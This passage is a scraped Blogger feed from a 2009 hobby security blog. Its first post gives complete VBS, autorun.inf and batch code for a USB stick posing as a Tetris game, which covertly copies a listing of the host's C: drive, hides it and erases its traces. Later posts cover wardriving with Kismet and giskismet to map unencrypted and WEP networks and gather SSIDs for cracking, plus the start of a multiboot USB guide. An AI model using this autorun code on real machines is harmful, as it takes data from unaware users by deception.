red;"&gt;&lt;i&gt;===&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;I fine tuned the files on the USB to be a little less obvious when starting up and for fun added a line to get a list of all files and directories from the c-drive.&lt;br /&gt;Not that this has anything to do with the exploit, but it was fun to play around with ;) &lt;br /&gt;&lt;br /&gt;So I created a vbs file with the following code;&lt;br /&gt;&lt;span style="color: yellow;"&gt;Set WshShell = CreateObject("WScript.Shell")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;WshShell.Run chr(34) &amp;amp; "-TETRIS-.bat" &amp;amp; Chr(34), 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;Set WshShell = Nothing&lt;/span&gt;&lt;br /&gt;and named it&amp;nbsp; -TETRIS-.vbs&lt;br /&gt;&lt;br /&gt;Altered the autorun.in to start the vbs file;&lt;br /&gt;&lt;div style="color: yellow;"&gt;[autorun]&lt;br /&gt;&lt;/div&gt;&lt;span style="color: yellow;"&gt;icon=-TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;label=TETRIS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;action=Play Tetris&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;ShellExecute=-TETRIS-.vbs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Created a new autorun pointing to the -TETRIS-.exe to later replace the original one pointing to -TETRIS-.vbs and named this tetris.inf&lt;br /&gt;&lt;span style="color: yellow;"&gt;[autorun]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;icon=-TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;label=TETRIS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;action=Play Tetris&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;ShellExecute=-TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Altered the -TETRIS-.bat file to&lt;br /&gt;- list the folders and files of c-drive, copy this information to USB and give it hidden attributes and delete the file from the host c-drive.&lt;br /&gt;- delete the original autorun file and replace it with one which only points to -TETRIS-.exe&lt;br /&gt;- delete the -TETRIS-.vbs file&lt;br /&gt;&lt;span style="color: yellow;"&gt;@ echo off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;start -TETRIS-.exe &amp;amp;&amp;amp; start Tetris.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;tree /f /a C:\ &amp;gt; c:\tree_c.lst &amp;amp;&amp;amp; copy c:\tree_c.lst -TETRIS-.ini &amp;amp;&amp;amp; attrib +h "-TETRIS-.ini" &amp;amp;&amp;amp; del c:\tree_c.lst&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;attrib -h autorun.inf &amp;amp;&amp;amp; attrib -h tetris.inf &amp;amp;&amp;amp; del autorun.inf &amp;amp;&amp;amp; ren tetris.inf autorun.inf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;attrib -h "-TETRIS-.vbs" &amp;amp;&amp;amp; del -TETRIS-.vbs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So basically when OK is clicked after inserting the USB drive on a PC with autorun enabled, exploit is started, the tetris game opens without  command prompts, a list of all folders and files of the c-drive is made, copied to the USB drive as a hidden file named -TETRIS-.ini.&lt;br /&gt;The new autorun is not hidden and only points to the game, the vbs file is deleted.&lt;br /&gt;Basically I did this so that even if the unsuspecting user sees the hidden files, the names and types of files look as if they are something to do with the tetris game.&lt;br /&gt;Anyone with any idea of how things work will of course see something is up ;)&lt;br /&gt;&lt;br /&gt;Completely useless but fun to make :) even though the ugliness of it all will probably make Gitsnik cry..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-1424670380651363962?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/1424670380651363962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/access-to-network-some-se-access-to-pc.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1424670380651363962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1424670380651363962'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/access-to-network-some-se-access-to-pc.html' title='Access to network --&gt; Some SE --&gt; Access to PC'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-6846836905642415373</id><published>2009-09-07T10:24:00.040+02:00</published><updated>2011-04-10T13:45:00.971+02:00</updated><title type='text'>Network mapping with Kismet-newcore + giskismet</title><content type='html'>I finally decided to make a persistent install of BT4 Pre Final on a USB stick to be able to get Kismet running as it should without having to upgrade each time..&lt;br /&gt;With persistent install on usb, update (when online of course ;) )&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;apt-get update&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;apt-get upgrade&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My USB GPS device is a simple generic one, nothing special and although I cant remember the cost,&lt;br /&gt;it was not more than around $50,-/$60,-&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gps-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="456" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gps-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gps-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="624" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gps-2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Then a quick edit to the kismet.conf file, we can do this with nano;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;nano /pentest/wireless/kismet-newcore/conf/kismet.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img179.imageshack.us/img179/3593/snapshot7i.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img179.imageshack.us/img179/3593/snapshot7i.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 543px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just edit to make sure the gps device is pointing correctly to ttyUSB0.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;Ctrl + X&lt;/span&gt; (to close after amending)&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;Y &lt;/span&gt;(Yes to save)&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;Enter&lt;/span&gt; (to save as same file name)&lt;br /&gt;&lt;br /&gt;Then start up gpsd and we're good to go.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;gpsd /dev/ttyUSB0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So with the Kismet-Newcore and GPS set to work, it was war-driving time !&lt;br /&gt;&lt;br /&gt;So starting up kismet with the GPS;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img401.imageshack.us/img401/4599/snapshot2v.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img401.imageshack.us/img401/4599/snapshot2v.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In kismet going to Windows --&amp;gt; GPS Info&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img35.imageshack.us/img35/366/snapshot3m.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img35.imageshack.us/img35/366/snapshot3m.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All is well, now just time to hop in the car and drive around a little !&lt;br /&gt;&lt;br /&gt;When done, just exit kismet.&lt;br /&gt;&lt;br /&gt;Now we can use giskismet, first inserting all information into a GISKismet database file from which we can create .kml files to put in either google maps or google earth.&lt;br /&gt;&lt;br /&gt;So in the directory where the kismet files are;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -x kismet_netxml_file.netxml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img80.imageshack.us/img80/108/snapshot5q.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img80.imageshack.us/img80/108/snapshot5q.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wireless.dbl will be created, then we can make some .kml files depending on what we want to see.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -q "select * from wireless" -o output_all.kml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The .kml file will be created in that same directory with all information on all access points seen and can then be opened with google earth.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img181.imageshack.us/img181/7298/allu.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img181.imageshack.us/img181/7298/allu.jpg" style="cursor: pointer; float: left; height: 692px; margin: 0pt 10px 10px 0pt; width: 759px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If for instance only want to show AP's with an ESSID "linksys";&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -q "select * from wireless where ESSID='linksys'" -o linksys.kml&lt;/span&gt;&lt;br /&gt;&lt;a href="http://img181.imageshack.us/img181/8013/snapshot6a.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img181.imageshack.us/img181/8013/snapshot6a.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resulting .kml in Google Earth;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img2.imageshack.us/img2/4918/linksys.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img2.imageshack.us/img2/4918/linksys.jpg" style="cursor: pointer; float: left; height: 692px; margin: 0pt 10px 10px 0pt; width: 759px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Showing only AP's without any encryption;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -q "select * from wireless where Encryption='None'" -o None.kml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img401.imageshack.us/img401/5053/nonec.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img401.imageshack.us/img401/5053/nonec.jpg" style="cursor: pointer; float: left; height: 692px; margin: 0pt 10px 10px 0pt; width: 759px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Showing only AP's with WEP encryption;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -q "select * from wireless where Encryption='WEP'" -o WEP.kml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img44.imageshack.us/img44/6777/wepp.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img44.imageshack.us/img44/6777/wepp.jpg" style="cursor: pointer; float: left; height: 692px; margin: 0pt 10px 10px 0pt; width: 759px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can actually filter the input to this database on channel / essid / bssid or encryption.&lt;br /&gt;&lt;br /&gt;For instance;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -x kismet_netxml_file.netxml --channel 1 --encryption None&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;then&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;giskismet -q "select * from wireless" -o output.kml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will give you a .kml file directly with only networks shown which are on channel 1 without encryption.&lt;br /&gt;&lt;br /&gt;Resulting .kml in Google Earth;&lt;br /&gt;&lt;a href="http://img180.imageshack.us/img180/4804/ch1none.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img180.imageshack.us/img180/4804/ch1none.jpg" style="cursor: pointer; float: left; height: 692px; margin: 0pt 10px 10px 0pt; width: 759px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The amount of networks you see with either no encryption or WEP is really staggering..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Still trying to figure out how best to grep out the SSIDs for entering in my essid list for cracking hidden essids.&lt;br /&gt;Wrote a bit of code that the blog wouldnt even let me post, so must be rough ! Will be reverting on that..&lt;br /&gt;&lt;br /&gt;So got some help.. thanks Gitsnik !&lt;br /&gt;&lt;br /&gt;Still quite a mouthful, but gets the job done, am pleased to say that what I had, although ugly, actually worked as well ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;grep SSID kismet-nettxt-file.nettxt | egrep -v 'BSSID|SSID [0-9]' | sed 's/.*://' | sed 's/"//' | sed 's/"//' | sort -f | uniq &amp;gt; ssid.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Still not 100% perfect, but I'm sure I will be able to 'prettify' (omg) it after some further resting, testing and trials.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So after some trial and error, and not a little help from Gitsnik;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;grep SSID test.nettxt | egrep -v 'BSSID|SSID [0-9]' | cut -c 18- | sed 's/"//g' | sed 's/ *$//g' | sort -fu &amp;gt; ssid.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Seems to be pretty clean so far !&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;To make things&amp;nbsp; a little easier on stripping out the SSIDs, made a couple of scripts which I thought&lt;/div&gt;&lt;div style="color: red;"&gt;I would share for the hell of it ;&amp;nbsp; &lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SSIDstrip_v0.1&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ssidstrip_v01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="460" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ssidstrip_v01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ssidstrip_v0.1 can be downloaded here;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.mediafire.com/file/4xa4m4sbdqv990x/ssidstrip%20"&gt;http://www.mediafire.com/file/4xa4m4sbdqv990x/ssidstrip&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or if you like a bit more to look at (and with some more safety built in to avoid accidental overwriting etc.)&lt;br /&gt;&lt;b&gt;&lt;u&gt;SSIDstrip_v0.2 &lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ssidstrip_v02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="460" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ssidstrip_v02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ssidstrip_v0.2 can be downloaded here ;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.mediafire.com/file/uojgs7jc6dmmfxa/ssidstrip_v0.2"&gt;http://www.mediafire.com/file/uojgs7jc6dmmfxa/ssidstrip_v0.2&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Links to information on above;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://my-trac.assembla.com/giskismet/"&gt;Official GISKismet Development Home&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.kismetwireless.net/"&gt;Official Kismet Homepage&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-6846836905642415373?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/6846836905642415373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/network-mapping-with-kismet-newcore.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/6846836905642415373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/6846836905642415373'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/network-mapping-with-kismet-newcore.html' title='Network mapping with Kismet-newcore + giskismet'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-9092965326467749534</id><published>2009-08-03T08:09:00.017+02:00</published><updated>2009-09-07T14:24:05.076+02:00</updated><title type='text'>Multiboot USB, Finally !!</title><content type='html'>So a while ago there was an episode on &lt;a href="http://www.hak5.org/episodes/episode-524"&gt;Hak5&lt;/a&gt; which showed how to make a USB bootable with a number of different distros.&lt;br /&gt;Its perfect and something I have been wanting to do with Ophcrack and BackTrack for a while.&lt;br /&gt;&lt;br /&gt;So what needed to start off ;&lt;br /&gt;&gt; USB drive, any size, but would recommend 8 - 16 gig, why not, it is cheap enough these days.&lt;br /&gt;&gt; Your live distro's of choice&lt;br /&gt;&gt; Additional software to prepare the USB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PREPARING YOUR USB DISK&lt;br /&gt;=======================&lt;br /&gt;&lt;br /&gt;The process is fairly straightforward and only a few bits of software (free) are needed ;&lt;br /&gt;&lt;br /&gt;1. PeToUSB v3.0.0.8&lt;br /&gt;&lt;a href="http://gocoding.com/page.php?al=petousb"&gt;http://gocoding.com/page.php?al=petousb&lt;/a&gt;&lt;br /&gt;&lt;a href="http://eaz.nm.ru/download/PeToUSB_3.0.0.8.exe"&gt;http://eaz.nm.ru/download/PeToUSB_3.0.0.8.exe&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This software will format the USB drive and make it bootable.&lt;br /&gt;&lt;br /&gt;2. grubinst v1.0.1&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/grub4dos/files/grubinst/grubinst%201.0.1/grubinst_1.0.1_bin_win.zip/download"&gt;http://sourceforge.net/projects/grub4dos/files/grubinst/grubinst%201.0.1/grubinst_1.0.1_bin_win.zip/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This will install the MBR on the USB flash drive.&lt;br /&gt;&lt;br /&gt;3. grub4dos v0.4.4&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/grub4dos/files/GRUB4DOS/grub4dos%200.4.4/grub4dos-0.4.4.zip/download"&gt;http://sourceforge.net/projects/grub4dos/files/GRUB4DOS/grub4dos%200.4.4/grub4dos-0.4.4.zip/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You actually only want this for a file which is included; gldr&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So proceed as follows;&lt;br /&gt;&lt;br /&gt;1.&lt;br /&gt;==&lt;br /&gt;Plug in your USB key and start up PeToUSB.&lt;br /&gt;It will check your disks on starting up and will list them, choose the one you want to make bootable and under format options, check ;&lt;br /&gt;Enable Disk Format&lt;br /&gt;Quick Format&lt;br /&gt;Force Volume Dismount&lt;br /&gt;(! This will format your USB drive, make sure you are choosing the right one and didnt have anything left on it !)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img196.imageshack.us/img196/9435/petousb.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 408px; height: 428px;" src="http://img196.imageshack.us/img196/9435/petousb.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Click Start and then Yes to start the formatting then close down the program when complete.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img196.imageshack.us/img196/5866/petousb1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 330px; height: 186px;" src="http://img196.imageshack.us/img196/5866/petousb1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img504.imageshack.us/img504/2366/petousb2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 284px; height: 153px;" src="http://img504.imageshack.us/img504/2366/petousb2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now it is possible that the drive is not formatted as FAT32, so do the following to ensure it is;&lt;br /&gt;&lt;br /&gt;Right-click My Computer --&gt; Manage --&gt; Disk Management&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img30.imageshack.us/img30/8651/diskmanagement1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 1095px; height: 823px;" src="http://img30.imageshack.us/img30/8651/diskmanagement1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Choose your USB drive, make sure you are choosing the correct one !&lt;br /&gt;Right click it and choose format and then choose FAT32.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img200.imageshack.us/img200/3276/diskmanagement2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 1095px; height: 823px;" src="http://img200.imageshack.us/img200/3276/diskmanagement2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Leave this window open as you will need it in next step.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1st step complete !&lt;br /&gt;&lt;br /&gt;Next is to start up grubinst.&lt;br /&gt;2.&lt;br /&gt;==&lt;br /&gt;Extract the contents of the gruninst zip file to a folder (I created the folder C:\Program Files\GrubInst).&lt;br /&gt;Open the grubinstGUI&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img196.imageshack.us/img196/3120/grubinst1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 585px; height: 558px;" src="http://img196.imageshack.us/img196/3120/grubinst1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br 